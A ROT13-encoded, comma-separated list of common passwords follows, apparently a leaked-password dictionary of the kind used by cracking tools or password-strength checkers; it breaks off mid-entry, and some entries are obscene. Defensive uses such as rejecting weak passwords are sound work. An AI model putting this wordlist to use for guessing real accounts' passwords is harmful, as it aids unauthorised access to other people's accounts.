shpxh,01011984,vqbagxabj,isiststs,1357,nyrxfrl,ohvyqre,01011987,mrebpbby,tbqsngure,zlyvsr,qbahgf,nyyzvar,erqsvfu,777888,fnfpun,avgenz,obhapr,333666,fzbxrf,1k2mxt8j,ebqzna,fghaare,mknfdj12,ubbfvre,unvel,orerggn,vafreg,123456f,eglhrur,senaprfp,gvtugf,purrfr1,zvpeba,dhnegm,ubpxrl1,trtpoe,frnenl,wrjryf,obtrl,cnvagonyy,pryreba,cnqerf,ovat,flapznfgre,mvttl,fvzba1,ornpurf,cevffl,qvruneq,benatr1,zvggraf,nyrxfnaqen,dhrraf,02071986,ovttyrf,gubatf,fbhgucnex,neghe,gjvaxyr,tergmxl,enobgn,pnzovnzv,zbanyvfn,tbyyhz,puhpxyrf,fcvxr1,tynqvngbe,juvfxl,fcbatrobo,frkl1,03082006,znmnsnxn,zrngurnq,4121,bh8122,onersbbg,12345678d,psvglzes,ovtnff,n1f2q3,xbfzbf,oyrffvat,gvggl,pyriryna,greencva,tvatre1,wbuaobl,znttbg,pynevarg,qrrmahgm,336699,fghzcl,fgbarl,sbbgony,geniryre,ibyib,ohpxrg,fancba,cvnabzna,unjxrlrf,shgoby,pnfnabin,gnatb,tbbqobl,fphon,ubarl1,frklzna,jnegubt,zhfgneq,nop1234,avpxry,10203040,zrbjzrbj,1012,obevphn,cebcurg,fnheba,12djnf,errsre,naqebzrqn,pelfgny1,wbxre1,90210,tbbsl,ybpb,ybirfrk,gevnatyr,jungfhc,zryybj,oratnyf,zbafgre1,znfgr,01011910,ybire1,ybir1,123nnn,fhafuva,fzrturnq,ubxvrf,fgvat,jryqre,enzob,preorehf,ohaal1,ebpxsbeq,zbaxr,1d2j3r4e5,tbyqjvat,tnoevryy,ohmmneq,pewutowl,wnzrf007,envazna,tebbir,gvorevhf,cheqhr,abxvn6300,unlnohfn,fubh,wnttre,qvire,mvtmnt,cbbpuvr,hfnezl,cuvfu,erqjbbq,erqjvat,12345679,fnynznaqre,fvyire1,nopq123,fchgavx,obbovr,evccyr,rgreany,12dj34re,gurterng,nyyfgne,fyvaxl,trfcreeg,zvfuxn,juvfxref,cvaurnq,birexvyy,fjrrg1,euspwaes,zbagtbz240,frefbyhgvba,wnzvr1,fgnezna,cebkl,fjbeqf,avxbynl,onpneqv,enfgn,onqtvey,erorppn1,jvyqzna,craal1,fcnprzna,1007,10101,ybtna1,unpxrq,ohyyqbt1,uryzrg,jvaqfbe,ohssl1,eharfpncr,genccre,123451,onanar,qoeawu,evcxra,12345djr,sevfxl,fuha,srfgre,bnfvf,yvtugavat,vo6ho9,pvpreb,xbby,cbal,gurqbt,784512,01011992,zrtngeba,vyyhfvba,rqjneq1,ancfgre,11223,fdhnfu,ebnqxvat,jbbubb,19411945,ubbfvref,01091989,genpxre,ontven,zvqjnl,yrnirzrnybar,oe549,14725836,235689,zranpr,enpury1,srat,ynfre,fgbarq,ernyznqevq,787898,onyybbaf,gvaxreoryy,5551212,znevn1,cborqn,urvarxra,fbavpf,zbbayvtug,bcgvzhf,pbzrg,bepuvq,02071982,wnloveq,xnfuzve,12345678n,puhnat,puhaxl,crnpu,zbegtntr,ehyrmmm,fnyrra,puhpxvr,mvccl,svfuvat1,tfke750,qbtubhfr,znkvz,ernqre,funv,ohqqnu,orasvpn,pubh,fnybzba,zrvfgre,renfre,oynpxove,ovtzvxr,fgnegre,cvffvat,nathf,qryhkr,rntyrf1,uneqpbpx,135792468,zvna,frnunjxf,tbqsngur,obbxjbez,tertbe,vagry,gnyvfzna,oynpxwnpx,onolsnpr,unjnvvna,qbtsbbq,mubat,01011975,fnapub,yhqzvyn,zrqhfn,zbegvzre,123456654321,ebnqehaa,whfg4zr,fgnyva,01011993,unaqlzna,nycunorg,cvmmnf,pnytnel,pybhqf,cnffjbeq2,ptsuase,s**x,phofjva,tbat,yrkhf,znk123,kkk123,qvtvgny1,tsuwxz1,7779311,zvffl1,zvpunr,ornhgvsh,tngbe1,1005,cnpref,ohqqvr,puvabbx,urpxsl,qhgpurff,fnyyl1,oernfgf,orbjhys,qnexzna,wraa,gvssnal1,murv,dhna,dnmjfk1,fngnan,funat,vqbagxab,fzvguf,chqqva,anfgl1,grqqlorn,inyxlevr,cnffjq,punb,obkfgre,xvyyref,lbqn,purngre,vahlnfun,ornfg1,jnerntyr,sbelbh,qentbaonyy,zreznvq,ouoves,grqql1,qbycuva1,zvfgl1,qrycuv,tebzvg,fcbatr,dnmmnd,slgkes,tnzrbire,qvnb,fretv,ornzre,orrzre,xvgglxng,enapvq,znabjne,nqnz12,qvttyre,nffjbeq,nhfgva1,jvfuobar,tbanil,fcnexl1,svfgvat,gurqhqr,fvavfgre,1213,iraren,abiryy,fnyfreb,wnlqra,shpxbss1,yvaqn1,irqqre,02021987,1chffl,erqyvar,yhfg,wxglzes,02011985,qspoxod,qentba12,puebzr,tnzrphor,gvggra,pbat,oryyn1,yrat,02081988,rherxn,ovgpunff,147369,onaare,ynxbgn,123321n,zhfgnsn,cernpure,ubgobk,02041986,m1k2p3i4,cynlfgngvba,01011977,pynlzber,ryrpgen,purpxref,murat,dvat,nezntrqba,02051986,jerfgyr,fibobqn,ohyyf,avzohf,nyraxn,znqvan,arjcnff6,bargvzr,nn123456,onegzna,02091987,fvyirenq,ryrpgeba,12345g,qrivy666,byvire1,fxlyne,eugqgyew,tbohpxf,wbunaa,12011987,zvyxzna,02101985,pnzcre,guhaqreo,ovtohgg,wnzzva,qnivqr,purrxf,tbnjnl,yvtugre,pynhqv,guhzof,cvffbss,tubfgevqre,pbpnvar,grat,fdhnyy,ybghf,ubbgvr,oynpxbhg,qbvgabj,fhomreb,02031986,znevar1,02021988,cbgurnq,123456dj,fxngr,1369,crat,nagbav,arat,zvnb,opsvryqf,1492,znevxn,794613,zhfnfuv,ghyvcf,abat,cvnb,punv,ehna,fbhgucne,02061985,ahqr,znaqneva,654123,avawnf,pnaanovf,wrgfxv,krekrf,muhnat,xyrbcngen,qvpxvr,ovyob,cvaxl,zbetna1,1020,1017,qvrgre,onfronyy1,gbggraunz,dhrfg,lsasxzm,qvegovxr,1234567890n,znatb,wnpxfba5,vcfjvpu,vnztbq,02011987,gqhglom,zbqran,dvnb,fyvccrel,djrnfq123,oyhrsvfu,fnzgeba,gbba,111333,vfpbby,02091986,crgebi,shmml,mubh,1357924680,zbyylqbt,qrat,02021986,1236987,curbavk,muha,tuoyruwe,bguryyb,fgnepens,000111,fnasena,n11111,pnzrygbr,onqzna,infvyvfn,wvnat,1dnm2jf,yhna,firgn,12dj12,nxven,puhnv,369963,purrpu,orngyr,cvpxhc,cnybzn,01011983,pnenina,ryvmnirgn,tnjxre,onamnv,chffrl,zhyyrg,frat,ovatb1,ornepng,syrkvoyr,snefpncr,obehffvn,muhnv,grzcyne,thvgne1,gbbyzna,lspaglzes,puybr1,kvnat,fynir1,thnv,ahttrgf,02081984,znagvf,fyvz,fpbecvb1,slhgxols,gurqbbef,02081987,02061986,123dd123,mnccn,sretvr,7htq5uvc2w,uhnv,nfqsmkpi,fhasybjre,chfflzna,qrnqcbby,ovtgvg,01011982,ybir12,ynffvr,fxlyre,tngbenqr,pnecrqvr,wbpxrl,znapvgl,fcrpger,02021984,pnzreba1,negrzxn,erat,02031984,vbzrtn,wvat,zbevgm,fcvpr,euvab,fcvaare,urngre,munv,ubire,gnyba,ternfr,dvbat,pbeyrbar,yglopes,gvna,pbjobl1,uvccvr,puvzren,gvat,nyrk123,02021985,zvpxrl1,pbefnve,fbabzn,nneba1,kkkcnff,onppuhf,jroznfgr,puhb,klm123,puelfyre,fchef1,negrz,furv,pbfzvp,01020304,qrhgfpu,tnoevry1,123455,bprnaf,987456321,ovaynqra,yngvanf,n12345678,fcrrqb,ohggreph,02081989,21031988,zreybg,zvyyjnyy,prat,xbgnxh,wvbat,qentbaon,2580,fgbarpbyq,fahssl,01011999,02011986,uryybf,oynmr,znttvr1,fynccre,vfgnaohy,obawbiv,onolybir,znmqn,ohyysebt,cubrav,zrat,cbefpur1,abzber,02061989,oboqlyna,pncfybpx,bevba1,mnenmn,grqqlorne,agxgnwl,zlanzr,ebat,jenvgu,zrgf,avnb,02041984,fzbxvr,puriebyrg,qvnybt,tsuwxztsuwxz,qbgpbz,inqvz,zbanepu,nguyba,zvxrl1,unzvfu,cvna,yvnat,pbbyarff,puhv,gubzn,enzbarf,pvppvb,puvccl,rqqvr1,ubhfr1,avat,znexre,pbhtnef,wnpxcbg,oneonqbf,erqf,cqgcys,xabpxref,pbonyg,nzngrhef,qvcfuvg,ancbyv,xvyebl,chyfne,wnlunjxf,qnrzba,nyrkrl,jrat,fuhnat,9293709o13,fuvare,ryqbenqb,fbhyzngr,zpynera,tbysre1,naqebzrq,qhna,50fcnaxf,frklobl,qbtfuvg,02021983,fuhb,xnxnfuxn,flmltl,111111n,lrnuonol,dvnat,argfpncr,shyunz,120676,tbbare,muhv,envaobj6,ynherag,qbt123,unyvsnk,serrjnl,pneyvgbf,147963,rnfgjbbq,zvpebcubar,zbaxrl12,1123,crefvx,pbyqorre,trat,ahna,qnaal1,stgxzpol,ragebcl,tnqtrg,whfg4sha,fbcuv,onttvb,pneyvgb,1234567891,02021989,02041983,fcrpvnyx,cvenzvqn,fhna,ovtoyhr,fnynfnan,ubcrshy,zrcuvfgb,onvyrl1,unpx,naavr1,trarevp,ivbyrggn,fcrapre1,nepnqvn,02051983,ubaqnf,9562876,genvare,wbarf1,fznfuvat,yvnb,159632,vproret,erory1,fabbxre,grzc123,mnat,znggrb,snfgonyy,d2j3r4e5,onzobb,shpxlb,fuhghc,nfgeb,ohqqlobl,avxvgbf,erqoveq,znkkkk,fuvgsnpr,02031987,xhnv,xvffzlnff,fnunen,enqvburn,1234nfqs,jvyqpneq,znkjryy1,cngevp,cynfzn,urlabj,oehab1,funb,ovtsvfu,zvfsvgf,fnffl1,furat,02011988,02081986,grfgcnff,anabbx,pltahf,yvpxvat,fynivx,cevatyrf,kvat,1022,avawn1,fhozvg,qhaqrr,gvoheba,cvaxsyblq,lhzzl,fuhnv,thnat,pubcva,boryvk,vafbzavn,fgebxre,1n2f3q4s,1223,cynlobl1,ynmnehf,wbeqn,fcvqre1,ubzrew,fyrrcre,02041982,qnexybeq,pnat,02041988,02041987,gevcbq,zntvpvna,wryyl,gryrcuba,15975,ifwnfary12,cnfjbeq,virefba3,cniybi,ubzrobl,tnzrpbpx,nzvtb,oebqvr,ohqncrfg,lwqfdtsuwxz,erpxyrff,02011980,cnat,gvtre123,2469,znfba1,bevrag,01011979,mbat,pqgaoe,znxfvzxn,1011,ohfuvqb,gnkzna,tvbetvb,fcuvak,xnmnagvc,02101984,pbapbeqr,irevmba,ybiroht,trbet,fnz123,frnqbb,dnmjfkrqp123,wvnb,wrmrory,cuneznpl,noabezny,wryylorn,znkvzr,chssl,vfynaqre,ohaavrf,wvttnzna,qenxba,010180,cyhgb,muwpxsq,12365,pynffvpf,pehfure,zbeqbe,ubbyvtna,fgenjoreel,02081985,fpenooyr,unjnvv50,1224,jt8r3jws,pgughs,cerzvhz,neebj,123456djr,znmqn626,enzebq,gbbgvr,euwewyox,tubfg1,1211,obhagl,avnat,02071984,tbng,xvyyre12,fjrrgarf,cbeab1,znfnzhar,426urzv,pbebyyn,znevcbfn,uwppom,qbbzfqnl,ohzzre,oyhr12,munb,oveq33,rkpnyvohe,fnzfha,xvefgl,ohggshpx,xsuops,muhb,znepryyb,bmml,02021982,qlanzvgr,655321,znfgre12,123465,ybyylcbc,fgrcna,1dn2jf,fcvxre,tbvevfu,pnyyhz,zvpunry2,zbbaornz,nggvyn,urael1,yvaqebf,naqern1,fcbegl,ynagrea,12365478,arkgry,ivbyva,ibypbz,998877,jngre1,vzngvba,vafcveba,qlanzb,pvgnqry,cynprob,pybjaf,gvnb,02061988,gevccre,qnornef,unttvf,zreyva1,02031985,naguenk,nzrevxn,vybirzr,ifrtqn,oheevgb,obzoref,fabjobneq,sbefnxra,xngnevan,n1n2n3,jbbsre,gvttre2,shyyzbba,gvtre2,fcbpx,unaanu1,fabbcl1,frkkkl,fnhfntrf,fgnavfyni,pbonva,ebobgvpf,rkbgvp,terra123,zbolqvpx,frangbef,chzcxvaf,srethf,nfqqfn,147741,258852,jvaqfhes,erqqrivy,isvglzes,arirezvaq,anat,jbbqynaq,4417,zvpx,fuhv,d1d2d3,jvatzna,69696,fhcreo,mhna,tnarfu,crpxre,mrcule,nanfgnfvln,vph812,yneel1,02081982,oebxre,mnyhcn,zvunvy,isvols,qbttre,7007,cnqqyr,ineinen,fpunyxr,1m2k3p,cerfvqra,lnaxrrf2,ghavat,cbbcl,02051982,pbapbeq,inathneq,fgvssl,ewuwxgqs,sryvk1,jerapu,sverjnyy,obkre,ohoon69,cbccre,02011984,grzccnff,tbornef,phna,gvccre,shpxzr1,xnzvyn,gubat,chff,ovtpng,qehzzre1,02031982,fbjung,qvtvzba,gvtref1,enat,wvatyr,ovna,henahf,fbcenab,znaql1,qhfgl1,snaqnatb,nybun,chzcxva1,cbfgzna,02061980,qbtpng,obzonl,chffl123,bargjb,uvtuurry,cvccb,whyvr1,ynhen1,crcvgb,orat,fzbxrl1,fglyhf,fgenghf,erybnq,qhpxvr,xnera1,wvzob1,225588,369258,xehfgl,fanccl,nfqs12,ryrpgeb,111ddd,xhnat,svfuva,pyvg,nofge,puevfgzn,ddddd1,1234560,pneantr,thlire,obkref,xvggraf,mrat,1000000,djregl11,gbnfgre,penzcf,lhtvbu,02061987,vprubhfr,mkpioaz123,cvarnccyr,anznfgr,uneelcbggre,zltvey,snypba1,rneauneq,sraqre1,fcvxrf,ahgzrt,01081989,qbtobl,02091983,369852,fbsgnvy,zlcnffjbeq,cebjyre,ovtobff,1112,uneirfg,urat,whovyrr,xvyywbl,onffrg,xrat,mndkfjpqr,erqfbk1,ovnb,gvgna,zvfsvg99,ebobg,jvsrl,xvqebpx,02101987,tnzrobl,raevpb,1m2k3p4i,oebapbf1,neebjf,uninan,onatre,pbbxvr1,puevff,123dj,cynglchf,pvaql1,yhzore,cvaonyy,sbkl,ybaqba1,1023,05051987,02041985,cnffjbeq12,fhcrezn,ybatobj,enqvburnq,avttn,12051988,fcbatrob,djreg12345,noenxnqnoen,qbqtref1,02101989,puvyyva,avprthl,cvfgbaf,ubbxhc,fnagnsr,ovtora,wrgf,1013,ivxvatf1,znaxvaq,ivxgbevln,orneqbt,unzzre1,02071980,erqqjnes,zntryna,ybatwbua,wraavsr,tvyyrf,pnezrk2,02071987,fgnfvx,ohzcre,qbbshf,fynzqhax,cvkvrf,tnevba,fgrssv,nyrffnaqeb,orrezna,avprnff,jneevbe1,ubabyhyh,134679852,ivfn,wbuaqrre,zbgure1,jvaqzvyy,obbmre,bngzrny,ncgvin,ohfgl,qryvtug,gnfgl,fyvpx1,oretxnzc,onqtref,thvgnef,chssva,02091981,avxxv1,vevfuzna,zvyyre1,mvyqwvna,123000,nvejbys,zntarg,nanv,vafgnyy,02041981,02061983,nfgen,ebznaf,zrtna1,zhqinlar,serroveq,zhfpyrf,qbtoreg,02091980,02091984,fabjsynx,01011900,znat,wbfrcu1,altvnagf,cynlfgng,whavbe1,iwpeqs,djre12,jroubzcnf,tvenssr,cryvpna,wrssrefb,pbznapur,oehvfre,zbaxrlob,xwxfmcw,123456y,zvpeb,nyonal,02051987,natry123,rcfvyba,nynqva,qrngu666,ubhaqqbt,wbfrcuva,nygvzn,puvyyl,02071988,78945,hygen,02041979,tnfzna,guvfvfvg,cniry,vqhaab,xvzzvr,05051985,cnhyvr,onyyva,zrqvba,zbbaqbt,znabyb,cnyyznyy,pyvzore,svfuobar,trarfvf1,153624,gbssrr,gobar,pyvccref,xelcgba,wreel1,cvpghef,pbzcnff,111111d,02051988,1121,02081977,fnvenz,trgbhg,333777,pboenf,22041987,ovtoybpx,frireva,obbfgre,abejvpu,juvgrbhg,pgeuga,123456z,02061984,urjyrgg,fubpxre,shpxvafvqr,02031981,punfr1,juvgr1,irefnpr,123456789f,onfrony,vybirlbh2,oyhroryy,08031986,naguba,fghool,sberir,haqregnx,jreqre,fnvlna,znzn123,zrqvp,puvczhax,zvxr123,znmqnek7,djr123djr,objjbj,xwewiwaoq,pryro,pubbpubb,qrzb,ybiryvsr,02051984,pbyantb,yvguvhz,02051989,15051981,mmmkkk,jrypbz,nanfgnfv,svqryvb,senap,26061987,ebnqfgre,fgbar55,qevsgre,ubbxrz,uryyobl,1234dj,poe900ee,fvaarq,tbbq123654,fgbez1,tlcfl,mroen,mnpunel1,gbrwnz,ohprgn,02021979,grfgvat1,erqsbk,yvarntr,zvxr1,uvtuohel,xbebyrin,anguna1,jnfuvatg,02061982,02091985,ivagntr,erqoneba,qnyfur,zlxvqf,11051987,znporgu,whyvra,wnzrf123,xenfbgxn,111000,10011986,987123,cvcryvar,gngneva,frafrv,pbqrerq,xbzbqb,sebtzna,7894561230,anfpne24,whvpl,01031988,erqebfr,zlqvpx,cvtrba,gxocsqgas,fzveabss,1215,fcnz,jvaare1,sylsvfu,zbfxin,81shxxp,21031987,byrfln,fgneyvtu,fhzzre99,13041988,svfuurnq,serrfrk,fhcre12,06061986,nmnmry,fpbbolqbb,02021981,pnoeba,lbtvorne,furon1,xbafgnagva,genaal,puvyyv,grezvang,tuoljgpps,fybjunaq,fbppre12,pevpxrg1,shpxurnq,1002,frnthyy,npughat,oynz,ovtobo,oqfz,abfgebzb,fheivibe,paslopxsq,yrzbanqr,obbzre1,envaobj1,ebore,vevaxn,pbpxfhpx,crnpurf1,vgfzr,fhtne1,mbqvnp,hclbhef,qvanen,135791,fhaal1,puvnen,wbuafba1,02041989,fbyvghqr,unovov,fhfuv,znexvm,fzbxr1,ebpxvrf,pngjbzna,wbuaal1,djregl7,ornepngf,hfreanzr,01011978,jnaqrere,bufuvg,02101986,fvtzn,fgrcura1,cnenqvtz,02011989,synaxre,fnavgl,wfonpu,fcbggl,obybtan,snagnfvn,purilf,obenoben,pbpxre,74108520,123rjd,12021988,01061990,tgauwqok,02071981,01011960,fhaqrivy,3000tg,zhfgnat6,tnttvat,znttv,nezfgeba,lsasxo,13041987,eribyire,02021976,gebhoyr1,znqpng,wrerzl1,wnpxnff1,ibyxfjnt,30051985,pbeaqbt,cbby6123,znevarf1,03041991,cvmmn1,cvttl,fvffl,02031979,fhasver,natryhf,haqrnq,24061986,14061991,jvyqovyy,fuvabov,45z2qb5of,123djre,21011989,pyrbcnge,ynfirtn,ubeargf,nzbepvg,11081989,pbiragel,aveinan1,qrfgva,fvqrxvpx,20061988,02081983,tousioys,farnxl,ozj325,22021989,aslgkes,frxerg,xnyvan,mnamvone,ubgbar,dnmjf,jnfnov,urvqv1,uvtuynaqre,oyhrf1,uvgnpuv,cnbyb,23041987,fynlre1,fvzon1,02011981,gvaxreor,xvrena,01121986,172839,obvyre,1125,oyhrfzna,jnssyr,nfqstu01,guerrfbz,pbana,1102,ersyrk,18011987,anhgvyhf,rireynfg,snggl,inqre1,01071986,plobet,tuoqga123,oveqqbt,ehooyr,02071983,fhpxref,02021973,fxlunjx,12dj12dj,qnxbgn1,wbrobo,abxvn6233,jbbqvr,ybatqbat,ynzre,gebyy,tuwpawtsuwxz,420000,obngvat,avgeb,neznqn,zrffvnu,1031,crathva1,02091989,nzrevp,02071989,erqrlr,nfqdjr123,07071987,zbagl1,tbgra,fcvxrl,fbangn,635241,gbxvbubgry,fbalrevpffba,pvgebra,pbzcnd1,1812,hzcver,oryzbag,wbaal,cnagren1,ahqrf,cnyzgerr,14111986,srajnl,ovturnq,enmbe,telcuba,naqlbq22,nnnnn1,gnpb,10031988,ragrezr,znynpuv,qbtsnpr,ercgvyr,01041985,qvaqbz,unaqonyy,znefrvyyr,pnaql1,19101987,gbevab,gvttr,zngguvnf,ivrjfbav,13031987,fgvaxre,rinatryvba,24011985,123456123,enzcntr,fnaqevar,02081980,gurpebj,nfgeny,28041987,fcevagre,cevingr1,frnorr,fuvool,02101988,25081988,srneyrff,whaxvr,01091987,nenzvf,nagrybcr,qenira,shpx1,znmqn6,rttzna,02021990,onefryban,ohqql123,19061987,slsawxod,anapl1,12121990,10071987,fyhttb,xvyyr,ubggvrf,vevfuxn,mkpnfqdjr123,funzhf,snveynar,ubarlorr,fbppre10,13061986,snagbznf,17051988,10051987,20111986,tynqvngb,xnenpuv,tnzoyre,tbeqb,01011995,ovngpu,znggur,25800852,cncvgb,rkpvgr,ohssnyb1,oboqbyr,purfuver,cynlre1,28021992,gurjub,10101986,cvaxl1,zragbe,gbznunjx,oebja1,03041986,ovfzvyynu,ovtcbccn,vwewxsy,01121988,ehanjnl,08121986,fxvohz,fghqzna,urycre,fdhrnx,ubylpbj,znaserq,uneyrz,tybpx,tvqrba,987321,14021985,lryybj1,jvmneq1,znetnevg,fhpprff1,zrqirq,fs49ref,ynzoqn,cnfnqran,wbuatnyg,dhnfne,1776,02031980,pbyqcynl,nznaq,cynln,ovtcvzc,04041991,pncevpbea,ryrsnag,fjrrgarff,oehpr1,yhpn,qbzvavx,10011990,ovxre,09051945,qngfha,rypnzvab,gevavgeb,znyvpr,nhqv,iblntre1,02101983,wbr123,pnecragr,fcnegna1,znevb1,tynzbhe,qvncre,12121985,22011988,jvagre1,nfvzbi,pnyyvfgb,avxbynv,crooyr,02101981,iraqrggn,qnivq123,oblgbl,11061985,02031989,vybirlbh1,fghcvq1,pnlzna,pnfcre1,mvccb,lnznune1,jvyqjbbq,sbklynql,pnyvoen,02041980,27061988,qhatrba,yrrqfhgq,30041986,11051990,orfgohl,nagnerf,qbzvavba,24680,01061986,fxvyyrg,rasbepre,qrecneby,01041988,196969,29071983,s00gonyy,checyr1,zvathf,25031987,21031990,erzvatgb,tvttyrf,xynfgr,3k7cke,01011994,pbbypng,29051989,zrtnar,20031987,02051980,04041988,flaretl,0000007,znpzna,vsbetrg,nqtwzc,iwdtsuwxz,28011987,esispraus,16051989,25121987,16051987,ebthr,znznzvn,08051990,20091991,1210,pneaviny,obyvgnf,cnevf1,qzvgevl,qvznf,05051989,cncvyyba,xahpxyrf,29011985,ubyn,gbcung,28021990,100500,phgvrcvr,qrib,415263,qhpxf,tuwhusiis,nfqdjr,22021986,serrsnyy,cneby,02011983,mnevan,ohfgr,ivgnzva,jnerm,ovtbarf,17061988,onevgbar,wnzrff,gjvttl,zvfpuvrs,ovgpul,urgsvryq,1003,qbagxabj,tevapu,fnfun_007,18061990,12031985,12031987,pnyvzreb,224466,yrgzrv,15011987,npzvyna,nyrknaqer,02031977,08081988,juvgrobl,21051991,onearl1,02071978,zbarl123,18091985,ovtqnjt,02031988,pltahfk1,mbybgb,31011987,sversvtu,oybjsvfu,fpernzre,ysloox,20051988,puryfr,11121986,01031989,uneqqvpx,frklynql,30031988,02041974,nhqvgg,cvmqrp,xbwnx,xstwkes,20091988,123456eh,jc2003jc,1204,15051990,fyhttre,xbeqryy1,03031986,fjvatvat,01011974,02071979,ebpxvr,qvzcyrf,1234123,1qentba,gehpxvat,ehfgl2,ebtre1,znevwhnan,xrebhnp,02051978,08031985,cnpb,gurpher,xrrcbhg,xreary,abanzr123,13121985,senapvfp,obmb,02011982,22071986,02101979,bofvqvna,12345dj,fchq,gnonfpb,02051985,wnthnef,qsxglaol,xbxbzb,cbcbin,abghfrq,friraf,4200,zntargb,02051976,ebfjryy,15101986,21101986,ynxrfvqr,ovtonat,nfcra,yvggyr1,14021986,ybxv,fhpxzlqvpx,fgenjore,pneybf1,abxvna73,qvegl1,wbfuh,25091987,16121987,02041975,nqirag,17011987,fyvzfunql,juvfgyre,10101990,fgelxre,22031984,15021985,01031985,oyhronyy,26031988,xfhfun,onunzhg,ebobpbc,j_cnff,puevf123,vzcermn,cebmnp,obbxvr,oevpxf,13021990,nyvpr1,pnffnaqe,11111d,wbua123,4rire,xbebin,02051973,142857,25041988,cnenzrqv,rpyvcfr1,fnybcr,07091990,1124,qnexnatry,23021986,999666,abznq,02051981,fznpxqbj,01021990,lblbzn,netragva,zbbayvtu,57puril,obbglf,uneqbar,pncevpbe,tnynag,fcnaxre,qxsyoe,24111989,zntcvrf,xebyvx,21051988,prigueo,purqqne,22041988,ovtobbgl,fphon1,djrqfn,qhsszna,ohxxnxr,nphen,wbuapran,frkkl,c@ffj0eq,258369,pureevrf,12345f,nftneq,yrbcbyq,shpx123,zbcne,ynynxref,qbtcbhaq,zngevk1,pehfgl,fcnaare,xrfgery,sraevf,havirefn,crnpul,nffnfva,yrzzrva,rttcynag,urwfna,pnahpxf,jraql1,qbttl1,nvxzna,ghcnp,gheavc,tbqyvxr,shffonyy,tbyqra1,19283746,ncevy1,qwnatb,crgebin,pncgnva1,ivaprag1,engzna,gnrxjbaqb,pubpun,frecrag,cresrpg1,pncrgbja,inzcve,nzber,tlzanfg,gvzrbhg,aoiwngd,oyhr32,xfravn,x.yioxs,anmthy,ohqjrvfre,pyhgpu,znevln,flyirfgr,02051972,ornxre,pnegzna1,d11111,frkkk,sberire1,ybfre1,znefrvyy,zntryyna,irucoe,frktbq,wxgkes,unyyb123,132456,yvirecbby1,fbhgucnj,frarpn,pnzqra,357159,pnzreb,grapuv,wbuaqbr,145236,ebbsre,741963,iynq,02041978,sxgles,mkpi123,jvatahg,jbyscnp,abgrobbx,chshatn7782,oenaql1,ovgrzr1,tbbqtvey,erqung,02031978,punyyrat,zvyyravhz,ubbcf,znirevp,abanzr,nathf1,tnryy,bavba,bylzchf,fnoevan1,evpneq,fvkcnpx,tengvf,tnttrq,pnznebff,ubgtveyf,synfure,02051977,ohoon123,tbyqsvat,zbbafuva,treeneq,ibyxbi,fbalshpx,znaqenxr,258963,genpre,ynxref1,nfvnaf,fhfna1,zbarl12,uryzhg,obngre,qvnoyb2,1234mkpi,qbtjbbq,ohooyrf1,unccl2,enaql1,nevrf,ornpu1,znepvhf2,anivtngbe,tbbqvr,uryybxvggl,sxolwkes,rneguyvax,ybbxbhg,whzob,bcraqbbe,fgnayrl1,znevr1,12345z,07071977,nfuyr,jbezvk,zhemvx,02081976,ynxrjbbq,oyhrwnlf,ybirln,pbzznaqr,tngrjnl2,crccr,01011976,7896321,tbgu,berb,fynzzre,enfzhf,snvgu1,xavtug1,fgbar1,erqfxva,vebaznvqra,tbgzvyx,qrfgval1,qrwnih,1znfgre,zvqavgr,gvzbfun,rfcerffb,qrysva,gbevnzbf,boreba,prnfne,znexvr,1n2f3q,tuuu47uw7649,iwxwew,qnqqlb,qbhtvr,qvfpb,nhttvr,yrxxre,gurebpx1,bh8123,fgneg1,abjnl,c4ffj0eq,funqbj12,333444,fnvtba,2snfg4h,pncrpbq,23fxvqbb,dnmkpi,orngre,oerzra,nnnfff,ebnqehaare,crnpr1,12345djre,02071975,cyngba,obeqrnhk,ioxsves,135798642,grfg12,fhcreabi,orngyrf1,djreg40,bcgvzvfg,inarffn1,cevapr1,vybirtbq,avtugjvfu,angnfun1,nypurzl,ovzob,oyhr99,cngpurf1,tfke1000,evpune,unggevpx,ubgg,fbynevf,cebgba,arirgf,ragreabj,ornivf1,nzvtbf,159357n,nzoref,yrabpuxn,147896,fhpxqvpx,funt,vagrepbhefr,oyhr1234,fcveny,02061977,gbffre,vybir,02031975,pbjtvey,pnahpx,d2j3r4,zhapu,fcbbaf,jngreobl,123567,ritravl,fnivbe,mnfnqn,erqpne,znznpvgn,grersba,tybohf,qbttvrf,ughopausjom,1008,phreib,fhfyvx,nmreglhv,yvzrjver,ubhfgba1,fgengsbe,fgrnhn,pbbef,graavf1,12345djregl,fgvtzngn,qres,xybaqvxr,cngevpv,znevwhna,uneqonyy,bqlffrl,avarvapu,obfgba1,cnff1,orrmre,fnaqe,puneba,cbjre123,n1234,inhkunyy,875421,njrfbzr1,erttnr,obhyqre,shafghss,vevfxn,xebxbqvy,esaglzes,fgrein,punzc1,oonyy,crrcre,z123456,gbbyobk,pnorearg,furrcqbt,zntvp32,cvtcra,02041977,ubyrva1,yusewl,onana,qnobzo,angnyvr1,wraanw,zbagnan1,wbrpbby,shaxl,fgrira1,evatb,whavb,fnzzl123,dddjjj,onygvzbe,sbbgwbo,trrmre,357951,znfu4077,pnfuzbar,cnapnxr,zbavp,tenaqnz,obatb,lrffve,tbphof,anfgvn,inapbhir,oneyrl,qentba69,jngsbeq,vyvxrcvr,02071976,ynqqvr,123456789z,unveonyy,gbbanezl,cvzcqnqq,piguaz,uhagr,qnivapv,yonpx,fbcuvr1,sveramr,d1234567,nqzva1,obanamn,ryjnl7,qnzna,fgenc,nmreg,jkpioa,nsevxn,gursbepr,123456g,vqrsvk,jbysra,ubhqvav,fpurvffr,qrsnhyg,orrpu,znfrengv,02061976,fvtznpuv,qlyna1,ovtqvpxf,rfxvzb,zvmmbh,02101976,evppneqb,rtturnq,111777,xebabf,tuoewx,punbf1,wbznzn,esuawves,ebqrb,qbyrzvgr,pnsp91,avggnal,cngusvaq,zvxnry,cnffjbeq9,idfnoycmyn,checy,tnoore,zbqryfar,zlkjbeyq,uryyfvat,chaxre,ebpxaeby,svfuba,shpx69,02041976,ybyby,gjvaxvr,gevcyru,pveehf,erqobar,xvyyre123,ovttha,nyyrteb,tgupoe,fzvgu1,jnaxvat,obbgfl,oneel1,zbunjx,xbbynvq,5329,shghenzn,fnzbug,xyvmzn,996633,ybob,ubarlf,crnahg1,556677,mknfdj,wbrznzn,wniryva,fnzz,223322,fnaqen1,syvpxf,zbagnt,angnyl,3006,gnfun1,1235789,qbtobar,cbxre1,c0b9v8h7,tbbqqnl,fzbbguvr,gbbpbby,znk333,zrgebvq,nepunatr,intnobaq,ovyynoba,22061941,glfba1,02031973,qnexnatr,fxngrobneq,ribyhgvb,zbeebjvaq,jvmneqf,sebqb1,ebpxva,phzfyhg,cynfgvpf,mndjfkpqr,5201314,qb